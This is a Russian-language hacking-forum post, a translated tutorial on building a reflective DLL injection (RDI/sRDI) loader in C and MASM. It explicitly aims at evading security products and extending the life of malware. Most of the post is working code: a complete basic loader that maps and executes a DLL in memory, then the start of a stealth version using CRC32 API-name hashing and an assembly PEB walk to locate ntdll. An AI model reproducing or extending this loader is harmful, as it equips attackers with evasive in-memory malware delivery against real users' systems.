• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Написание собственного загрузчика RDI/sRDI с использованием C и ASM

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
0РИГИНАЛ

В этом посте я собираюсь показать читателям, как написать собственный загрузчик RDI/sRDI на C, а затем показать, как оптимизировать код, чтобы сделать его полностью независимым
rdi-srdi.png


Будучи исследователем безопасности и разработчиком вредоносных программ, возможность создавать собственные загрузчики с использованием таких методов, как RDI/sRDI, может помочь избежать обнаружения защитным программным обеспечением и может увеличить срок службы данного варианта вредоносного ПО. Чем уникальнее имплантат, тем сложнее программному обеспечению безопасности обнаружить и проанализировать его, что делает его более эффективным по назначению. Изучение того, как писать свои собственные загрузчики с использованием таких методов, как загрузка RDI/sRDI, является важным элементом сохранения конкурентного преимущества в этой области.

Reflective DLL Injection (RDI) и Shellcode Reflective DLL Injection (sRDI) — это методы, используемые злоумышленниками для загрузки DLL или шелл-кода в процесс без использования традиционных методов внедрения. RDI был представлен Стивеном Фьюэром в 2009 году, а sRDI был представлен Адамом Честером в 2016 году на конференции DerbyCon. Оба исследователя получили признание за их вклад в представление этих методов общественности.

Чтобы полностью понять примеры в этом посте, необходимо иметь четкое представление о формате файла PE и о том, как он обычно загружается в Windows.

В следующем списке перечислены несколько ключевых шагов, которые Windows предпринимает при загрузке PE-файла. Это те же самые шаги, которые нам нужно будет предпринять при написании нашего загрузчика RDI.

  1. На этом этапе двоичное представление файла DLL считывается из файловой системы или из памяти. Обычно это включает в себя открытие файла, чтение его содержимого и сохранение двоичных данных в памяти для дальнейшей обработки.
  2. Заголовок PE файла DLL анализируется для извлечения важной информации, такой как размер изображения. Заголовок PE представляет собой структуру данных, расположенную в начале файла DLL, которая содержит информацию об организации и структуре файла, включая размер различных разделов.
  3. На этом этапе в адресном пространстве целевого процесса выделяется память для хранения двоичных данных DLL. Обычно это делается с помощью функции VirtualAllocEx, которая резервирует и выделяет блок памяти соответствующего размера для размещения всего образа DLL. Затем секции повторяются и копируются во вновь выделенную память с помощью PIMAGE_SECTION_HEADER.
  4. Перемещения, также известные как исправления, применяются к образу DLL для корректировки адресов кода и данных в образе в соответствии с базовым адресом, по которому образ загружается в целевом процессе. Этот шаг включает в себя итерацию по таблице перемещений в заголовке PE и применение необходимых корректировок адресов к соответствующим ячейкам в выделенной памяти.
  5. Таблица адресов импорта (IAT) DLL обрабатывается для разрешения и обновления ссылок импорта на внешние функции и данные. Этот шаг включает в себя повторение IAT и разрешение ссылок импорта путем загрузки необходимых модулей в целевой процесс, получение адресов импортированных функций или данных и обновление IAT разрешенными адресами.
  6. Параметры защиты различных разделов образа DLL применяются к соответствующим страницам памяти в выделенной памяти. Это включает в себя установку соответствующих флагов защиты памяти, таких как PAGE_EXECUTE_READWRITE для исполняемых разделов и PAGE_READWRITE для записываемых разделов, используя VirtualProtectEx
  7. Если DLL имеет обратные вызовы локального хранилища потоков (TLS), они выполняются в целевом процессе. TLS — это механизм, который позволяет каждому потоку в процессе иметь собственное хранилище для данных, относящихся к потоку. Обратные вызовы TLS — это функции, которые выполняются при создании или завершении потока, и они обычно используются для инициализации или очистки данных, относящихся к потоку.
  8. Наконец, выполнение передается точке входа DLL, которая является DllMain. DllMain— это специальная функция библиотеки DLL, которая автоматически вызывается операционной системой при загрузке или выгрузке библиотеки DLL и отвечает за выполнение всех необходимых задач инициализации или очистки, специфичных для библиотеки DLL.

Чтобы обеспечить полное понимание шагов, упомянутых выше, очень важно представить себе, как каждая задача может быть выполнена с помощью кода C.
Начиная с этого момента, я также буду освещать материал, предполагая, что читатель уже знаком, по крайней мере, с некоторыми предметами, которые я собираюсь осветить в следующих разделах.

Для разработки я выбрал CLion от Jetbrains в качестве предпочтительной IDE. Поскольку я ранее приобрел PyCharm Professional , у меня уже была учетная запись Jetbrains, и я обнаружил, что CLion — отличный инструмент для этой задачи.

В предстоящем процессе сборки моим первым шагом будет создание универсальной DLL, предназначенной исключительно для тестирования наших загрузчиков RDI/sRDI. После успешного создания DLL я перейду к созданию фундаментального загрузчика RDI с использованием стандартного Windows API, который выполнит внедрение тестовой DLL, созданной на следующем шаге. Наконец, я создам незаметный загрузчик RDI/sRDI с хешированием функций, запутанными указателями функций и использованием собственного API, полученного из ntdll.dll.
Для ясности я разобью код загрузчика на части, перечисленные в предыдущем разделе. Я обнаружил, что это самый простой способ показать, как загрузчик работает как в стандартном API, так и в собственном API.

DLL

Моим первым шагом при использовании CLion в качестве IDE будет создание нового проекта C, который я назову dll_pocкак показано в примере ниже.

image-3.png


После создания dll_pocпроект, вы должны увидеть следующее изображение, которое позволит вам начать редактирование main.cфайл.

image-4.png


Следующий код должен войти в main.cдля создания и экспорта DllMain()функция в файле DLL.

C:
#main.c
#include <windows.h>

#define DLLEXPORT   __declspec( dllexport )

DLLEXPORT BOOL DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved);

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "DLL PROCESS ATTACH", "Bingo!", 0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        default:
            break;
    }
    return TRUE;
}

Чтобы убедиться, что мы скомпилируем это в DLL вместо EXE, нам нужно изменить CMakeLists.txtфайл, расположенный в корневом каталоге проекта. Файл должен выглядеть следующим образом.

CMakeLists.txt

C:
cmake_minimum_required(VERSION 3.24)
project(dll_poc C)

set(CMAKE_C_STANDARD 17)

# add_executable(dll_poc main.c)
set(CMAKE_SHARED_LIBRARY_PREFIX "")
add_library(dll_poc SHARED main.c)

Теперь, когда оба файла выше изменены, мы можем продолжить и построить проект, который должен создать dll_poc.dllфайл в общем cmake-debug-buildкаталог.

image-5.png


Dll_poc.dll файл создан, мы можем быстро проверить, чтобы убедиться, что DllMain работает без ошибок при использовании rundll32.

image-6.png


Закончив с DLL, я собираюсь скопировать DLL в C:/Temp/ для тестирования.

Код:
cp .\cmake-build-debug\dll_poc.dll C:\Temp\

Loader (Basic RDI)

Когда DLL скомпилирована и перемещена в C:/Temp/, пришло время начать работу над загрузчиком, поэтому я снова начну с создания нового проекта C с именем dll_loader как видно в следующем примере.

image.png


После создания нового проекта откройте терминал в среде IDE. Alt + F12и создайте следующие папки. В зависимости от того, какой интерпретатор команд вы используете с CLion , будет определяться, какие команды вы будете выполнять в следующих шагах.

Сделаeм необходимые папки

Код:
New-Item -ItemType Directory -Force -Path "src\c","src\h","src\masm"

Код:
mkdir src\c src\h src\masm

После настройки вышеуказанных папок браузер файлов IDE должен выглядеть, как показано на следующем рисунке.

image-2.png


Теперь, когда каталоги созданы, пришло время заполнить их несколькими файлами, используя следующие команды.

Создадим необходимые файлы

Код:
New-Item -ItemType File -Path "src/c/peb.c", "src/h/peb.h", "src/masm/peb.masm"
 New-Item -ItemType File -Path "src/h/defs.h", "src/h/structs.h"

Код:
echo.>src\c\peb.c
echo.>src\h\peb.h
echo.>src\masm\peb.masm
copy /b src\c\peb.c+,, src\h\peb.h+,, src\masm\peb.masm+,
echo.>src\h\defs.h
echo.>src\h\structs.h

После выполнения приведенных выше команд для настройки некоторых пустых файлов в соответствующих каталогах вы должны увидеть макет файла, подобный показанному на изображении ниже.

image-7.png


image-7.png

Создав все необходимые файловые заглушки, следующим шагом будет создание базовой инъекции DLL с использованием main.c. Сейчас мы воспользуемся примером от ired.team, который использует то, что я считаю «высокоуровневыми» функциями Windows API, чтобы убедиться, что логика верна. Как только это будет подтверждено, мы можем перейти к уточнению и оптимизации кода.

Шаг 1

На этом шаге двоичное представление файла DLL считывается из файла...

Код:
HANDLE dll = CreateFileA("\\??\\C:\\Temp\\dll_poc.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD64 dll_size = GetFileSize(dll, NULL);
LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
DWORD out_size = 0;
ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

Этот код использует CreateFileAфункция, чтобы открыть DLL для чтения, затем выделяет некоторое пространство в куче, используя HeapAllocкоторый будет хранить файл, читаемый ReadFile.

Шаг 2

Заголовок PE файла DLL анализируется для извлечения важной информации...

Код:
PIMAGE_DOS_HEADER dos_headers = (PIMAGE_DOS_HEADER)dll_bytes;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dos_headers->e_lfanew);
SIZE_T dllImageSize = nt_headers->OptionalHeader.SizeOfImage;



Этот код использует PIMAGE_DOS_HEADERи PIMAGE_NT_HEADERSструктур, чтобы найти размер файла DLL, который хранится в nt_headers -> OptionalHeader.SizeOfImage

Шаг 3

Память выделяется в адресном пространстве целевого процесса для хранения бинаря

Код:
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dll_base + (DWORD_PTR)section->VirtualAddress);
    LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
    memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
    section++;
}

Этот код отвечает за копирование разделов DLL из файла на диске в блок памяти, ранее выделенный для DLL. Он делает это с помощью PIMAGE_SECTION_HEADER и IMAGE_FIRST_SECTION структуры для перебора каждой секции, которая будет скопирована в выделенную память.

Шаг 4

Загрузчик выполняет все необходимые исправления перемещения исполняемого файла

Код:
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dll_base;
DWORD relocationsProcessed = 0;

while (relocationsProcessed < relocations.Size) {
    PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
    relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
    DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
    PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

    for (DWORD i = 0; i < relocationsCount; i++) {
        relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
        if (relocationEntries[i].Type == 0) {
            continue;
        }

        DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
        DWORD_PTR addressToPatch = 0;
        ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
        addressToPatch += deltaImageBase;
        memcpy((PVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
    }
}

Этот код отвечает за перемещение образа DLL на его новый базовый адрес. Сначала он получает каталог данных о перемещениях и вычисляет RVA таблицы перемещений. Затем он выполняет итерацию по каждому блоку в таблице перемещений и вычисляет адрес для исправления на основе типа перемещения и смещения, используя как PBASE_RELOCATION_ENTRYи PBASE_RELOCATION_BLOCKструктуры. Он считывает исходное значение по адресу для исправления, добавляет к нему базу дельта-образа и записывает его обратно в то же место, чтобы обновить адрес в новом местоположении. Этот процесс обеспечивает правильную работу библиотеки DLL по ее новому базовому адресу.

Шаг 5

Загрузчик выполняет любой необходимый импорт. Импорт - это ссылка на функцию...

Код:
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dll_base);
PCHAR libraryName = "";
HMODULE library = NULL;

while (importDescriptor->Name != 0) {
    libraryName = (PCHAR)importDescriptor->Name + (DWORD_PTR)dll_base;
    library = LoadLibraryA(libraryName);

    if (library) {
        PIMAGE_THUNK_DATA thunk = NULL;
        thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dll_base + importDescriptor->FirstThunk);

        while (thunk->u1.AddressOfData != 0) {
            if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
            }
            else {
                PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dll_base + thunk->u1.AddressOfData);
                DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                thunk->u1.Function = functionAddress;
            }
            ++thunk;
        }
    }
    importDescriptor++;
}

Этот код отвечает за загрузку импортированных функций DLL. Сначала он извлекает адрес каталога импорта, затем перебирает каждый дескриптор импорта, загружая библиотеку, содержащую импортированные функции, и разрешает каждую импортированную функцию либо по ее имени, либо по порядковому номеру. Затем он устанавливает адрес каждой импортированной функции в соответствующей записи таблицы переходов.

Шаг 6

Наконец, загрузчик передает управление точке входа исполняемого файла...

Код:
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dll_base + ntHeaders->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dll_bytes);

Этот фрагмент кода получает адрес точки входа DLL, используя поле AddressOfEntryPoint в OptionalHeader загруженной DLL. Затем он приводит этот адрес к указателю на функцию типа DLLEntry, который является типом, представляющим точку входа DLL. Синтаксис (*DllEntry) разыменовывает указатель функции и вызывает функцию точки входа с HINSTANCEзагруженной DLL, DLL_PROCESS_ATTACHфлаг и значение 0 для третьего параметра. Наконец, код освобождает ресурсы, выделенные для загрузки DLL, в том числе закрывает дескриптор файла и освобождает память, выделенную для хранения байтов DLL.

Финал

Выполнение всех вышеперечисленных шагов и их сборка будут выглядеть следующим образом.

Код:
#include <windows.h>
#include <stdio.h>

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

typedef BOOL (WINAPI *DLLEntry)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main() {
 
    HANDLE dll = CreateFileA("\\??\\C:\\Temp\\dll_poc.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    DWORD64 dll_size = GetFileSize(dll, NULL);
    LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
    DWORD out_size = 0;
    ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

    PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosHeaders->e_lfanew);
    SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

    LPVOID dll_base = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD_PTR deltaImageBase = (DWORD_PTR)dll_base - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
    memcpy(dll_base, dll_bytes, ntHeaders->OptionalHeader.SizeOfHeaders);

    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dll_base + (DWORD_PTR)section->VirtualAddress);
        LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
        memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
        section++;
    }

    IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dll_base;
    DWORD relocationsProcessed = 0;

    while (relocationsProcessed < relocations.Size) {
        PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
        relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
        DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

        for (DWORD i = 0; i < relocationsCount; i++) {
            relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

            if (relocationEntries[i].Type == 0) {
                continue;
            }

            DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
            DWORD_PTR addressToPatch = 0;
            ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
            addressToPatch += deltaImageBase;
            memcpy((PVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
        }
    }

    PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
    IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dll_base);
    PCHAR libraryName = "";
    HMODULE library = NULL;

    while (importDescriptor->Name != 0) {
        libraryName = (PCHAR)importDescriptor->Name + (DWORD_PTR)dll_base;
        library = LoadLibraryA(libraryName);

        if (library) {
            PIMAGE_THUNK_DATA thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dll_base + importDescriptor->FirstThunk);

            while (thunk->u1.AddressOfData != 0) {
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                }
                else {
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dll_base + thunk->u1.AddressOfData);
                    DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                    thunk->u1.Function = functionAddress;
                }
                ++thunk;
            }
        }
        importDescriptor++;
    }

    DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dll_base + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    (*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);

    CloseHandle(dll);
    HeapFree(GetProcessHeap(), 0, dll_bytes);

    return 0;

}

После ввода кода в main.c, создайте решение и запустите исполняемый файл. Это должно работать со значением по умолчанию CMakeLists.txtчто пришло с созданием проекта.

image-9.png


Как вы можете видеть выше, этот пример работает. Однако это очень простой пример внедрения RDI без какой-либо оптимизации или запутывания, и этот пример не будет работать в большинстве безопасных сред. Чтобы понять, почему, давайте посмотрим поближе, проведя небольшой анализ двоичного файла в его нынешнем виде.
Сначала давайте запустим бинарный файл и вместо того, чтобы нажать кнопку « ОК », чтобы закрыть его, давайте откроем Process Hacker и посмотрим на память во время его работы.

image-14.png


Как вы можете видеть на изображении выше, в настоящее время у нас есть область RWX в памяти, которая явно указывает на то, что в процессе что-то происходит. Нам нужно обязательно исправить это вместе со всем остальным в следующей версии. Затем давайте откроем файл с помощью CFF Explorer , как показано ниже.

image-10.png


Здесь вы можете видеть, что dll_loader.exe импортируется KERNEL32.dll с 24 функциями и msvcrt.dllс 26 функциями. Вы можете спросить себя, какого черта импортировано 50 функций, когда сам код использует только часть из них? Это потому, что msvcrt.dll функции Windows API более высокого уровня также сами используют базовые функции.
Наконец, давайте взглянем на двоичный файл, используя strings.exe из инструментов Sys Internals.
Код:
C:\Temp>strings.exe C:\Maldev\evasion\dll_loader\cmake-build-debug\dll_loader.exe |  найти /c /v ""
 1490
В выводе strings.exe имеется 1490 записей, и пример некоторых элементов, которые мы хотим удалить, показан ниже.

image-11.png


Все функции, которые мы используем, легко увидеть в открытом виде в приведенном выше выводе. Это проблема для любого разработчика вредоносного ПО, и ее необходимо решить, чтобы сделать этот загрузчик более скрытным. Как видно из приведенных примеров, базовый загрузчик очень "шумный" и нуждается в доработке. Теперь давайте рассмотрим написание обфусцированного RDI с использованием Windows Native API, обфусцированных указателей функций, хеширования имен функций и многого другого.

Загрузчик

(Stealth RDI)

В этой версии загрузчика мы будем использовать файлы, созданные ранее, для хранения пользовательских структур, определений функций и кода сборки, чтобы улучшить скрытность загрузчика RDI. Используя тот же проект dll_loader, закомментируйте текущую функцию main(), чтобы мы могли переписать все с нуля.
Во-первых, нам нужно создать несколько вспомогательных функций для хэширования функций и разрешения адресов функций. Для этого мы включим функцию хэширования CRC из файла peb.c, а также функцию get_proc_address_by_hash, которая разрешает адреса функций на основе предоставленной DLL.

Функции-помощники

peb.c

Код:
#include "peb.h"
#include <stdint.h>

uint32_t crc32b(const uint8_t *str) {
    uint32_t crc = 0xFFFFFFFF;
    uint32_t byte;
    uint32_t mask;
    int i = 0x0;
    int j;

    while (str[i] != 0) {
        byte = str[i];
        crc = crc ^ byte;
        for (j = 7; j >= 0; j--) {
            mask = -1 * (crc & 1);
            crc = (crc >> 1) ^ (SEED & mask);
        }
        i++;
    }
    return ~crc;
}

void *get_proc_address_by_hash(void *dll_address, uint32_t function_hash) {
    void *base = dll_address;
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)base + dos_header->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY export_directory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)base + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    unsigned long *p_address_of_functions = (PDWORD)((DWORD_PTR)base + export_directory->AddressOfFunctions);
    unsigned long *p_address_of_names = (PDWORD)((DWORD_PTR)base + export_directory->AddressOfNames);
    unsigned short *p_address_of_name_ordinals = (PWORD)((DWORD_PTR)base + export_directory->AddressOfNameOrdinals);

    for(unsigned long i = 0; i < export_directory->NumberOfNames; i++) {
        LPCSTR p_function_name = (LPCSTR)((DWORD_PTR)base + p_address_of_names[i]);
        unsigned short p_function_ordinal = (unsigned short)p_address_of_name_ordinals[i];
        unsigned long p_function_address = (unsigned long)p_address_of_functions[p_function_ordinal];

        if(function_hash == HASH(p_function_name))
            return (void *)((DWORD_PTR)base + p_function_address);
    }
    return NULL;
}

Как видно из приведенного выше кода, функция crc32b принимает строку и возвращает хэш для хранения, а функция get_proc_address_by_hash принимает базовый адрес DLL и хэшированное имя функции в качестве входных данных и возвращает адрес функции. Мы также добавляем заголовок peb.h, который включает переменные, необходимые для crc32b, как показано ниже.

peb.h

Код:
#include <stdint.h>
#include "defs.h"

#define SEED 0xDEADDEAD
#define HASH(API)(crc32b((uint8_t *)API))

uint32_t crc32b(const uint8_t *str);

void *get_proc_address_by_hash(void *dll_address, uint32_t function_hash);

Мы также перенесем структуры из старого файла main.c в заголовочный файл structs.h, как показано ниже.

structs.h
Код:
#include <windows.h>

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

Далее необходимо добавить немного содержимого в файл defs.h, чтобы определить несколько констант. Здесь же будут размещены все определения наших функций.

defs.h

Код:
#include "structs.h"

#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define RTL_CONSTANT_STRING(s) { sizeof(s)-sizeof((s)[0]), sizeof(s), s }
#define FILL_STRING(string, buffer)       \
    string.Length = (USHORT)strlen(buffer);   \
    string.MaximumLength = string.Length; \
    string.Buffer = buffer

Пришло время ознакомиться с некоторыми фундаментальными инструкциями MASM Assembly. Поскольку мы будем использовать Native API для нашего загрузчика, важно знать, как получить адрес библиотеки ntdll.dll для разрешения функций Native API, когда это необходимо. Хотя эту задачу можно решить и на C, изучение ASM может помочь в написании кода на C, поэтому мы сосредоточимся на нем.

peb.masm

Код:
.CODE

get_ntdll PROC
    xor     rax, rax
    mov     rax, gs:[60h]
    mov     rax, [rax + 18h]
    mov     rax, [rax + 20h]
    mov     rax, [rax]
    mov     rax, [rax + 20h]
    ret
get_ntdll ENDP

END

Приведенный выше код просматривает PEB (Process Environment Block) текущего 64-битного процесса, чтобы найти адрес ntdll.dll. Это происходит потому, что DLL ntdll.dll имеет один и тот же базовый адрес для всех процессов.

Вот шаги того, что происходит в приведенном выше коде.

xor rax, rax: Это устанавливает значение регистра rax в ноль, что является обычным способом инициализации регистра перед его использованием.
mov rax, gs:[60h]: Это извлекает адрес PEB из сегментного регистра gs, который используется Windows для локального хранения потоков. Смещение 60h - это местоположение указателя PEB в блоке TIB (Thread Information Block), который является другой структурой данных, используемой Windows для хранения информации о потоках.
mov rax, [rax + 18h]: Получает адрес члена Ldr (Loader) в PEB, который является указателем на связанный список загруженных модулей.
mov rax, [rax + 20h]: Получает адрес первой записи в связанном списке, которая соответствует главному модулю процесса (т.е. исполняемому файлу).
mov rax, [rax]: Получает базовый адрес главного модуля.
mov rax, [rax + 20h]: Получается адрес второй записи в связанном списке, которая соответствует ntdll.dll.
ret: Возвращается значение rax, которое теперь содержит базовый адрес ntdll.dll.

Для 32-битного приложения инструкции были бы немного другими, но поскольку я использую 64-битное приложение, то буду использовать вышеприведенную версию.
Поскольку peb.masm создает функцию get_ntdll(), нам нужно добавить строку в файл peb.h, чтобы экспортировать функцию get_ntdll() для использования

peb.h

Код:
#include <stdint.h>
#include "defs.h"

#define SEED 0xDEADDEAD
#define HASH(API)(crc32b((uint8_t *)API))

extern void *get_ntdll();

uint32_t crc32b(const uint8_t *str);

void *get_proc_address_by_hash(void *dll_address, uint32_t function_hash);

Как вы можете видеть выше, мы добавили строку 7, чтобы мы могли получить доступ к функции get_ntdll() MASM из нашего кода на C.

После создания вышеуказанных вспомогательных функций, последнее, что нужно сделать, прежде чем двигаться дальше, это настроить нашу конфигурацию CMakeLists.txt для установки компиляции MASM, а также других функций для облегчения работы.

CMakeLists.txt

Код:
cmake_minimum_required(VERSION 3.24)
project(dll_loader C)

set(CMAKE_C_STANDARD 17)
set(MASM_NAMES src/masm/peb)

include_directories(${CMAKE_SOURCE_DIR}/src/h)

FOREACH(src ${MASM_NAMES})
    SET(MASM_SRC ${CMAKE_CURRENT_SOURCE_DIR}/${src}.masm)
    SET(MASM_OBJ ${CMAKE_CURRENT_BINARY_DIR}/${src}.obj)
    ADD_CUSTOM_COMMAND(
            OUTPUT ${MASM_OBJ}
            COMMAND C:/Temp/ml64.exe /c /Fo${MASM_OBJ} ${MASM_SRC}
            DEPENDS ${MASM_SRC}
            COMMENT "Assembling ${MASM_SRC}")
    SET(MASM_OBJECTS ${MASM_OBJECTS} ${MASM_OBJ})
ENDFOREACH(src)

add_executable(dll_loader ${MASM_OBJECTS} main.c src/c/peb.c)

В приведенной выше конфигурации это позволит нам добавить наши MASM-файлы для компиляции и использования в процессе компиляции C. Это также позволяет добавлять заголовки в каждый файл проекта только по имени, вместо того, чтобы добавлять пути к каждому из них. Вы заметите, что для тестирования я переместил двоичный файл ml64.exe в каталог C:/Temp/, поэтому вы можете сделать то же самое или использовать полный путь к файлу ml64.exe в Visual Studio.
Теперь, когда конфигурация Cmake завершена, мы можем перейти к файлу main.c, чтобы начать писать и устанавливать новые функции и структуры, необходимые по мере продвижения в main.c.
В файле main.c мы собираемся использовать логику каждого шага нашего базового загрузчика и переписать ее в функции Native API с обфускацией указателей функций.

Код:
HANDLE dll = CreateFileA("\\??\\C:\\Temp\\dll_poc.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
 DWORD64 dll_size = GetFileSize(dll, NULL);
 LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
 DWORD out_size = 0;
 ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

Приведенный выше код - это Шаг 1 из нашего базового загрузчика, и этот код, по сути, просто открывает файл в режиме чтения, считывает размер файла, выделяя память для хранения данных, а затем считывает их в выделенную память с помощью функции ReadFile.
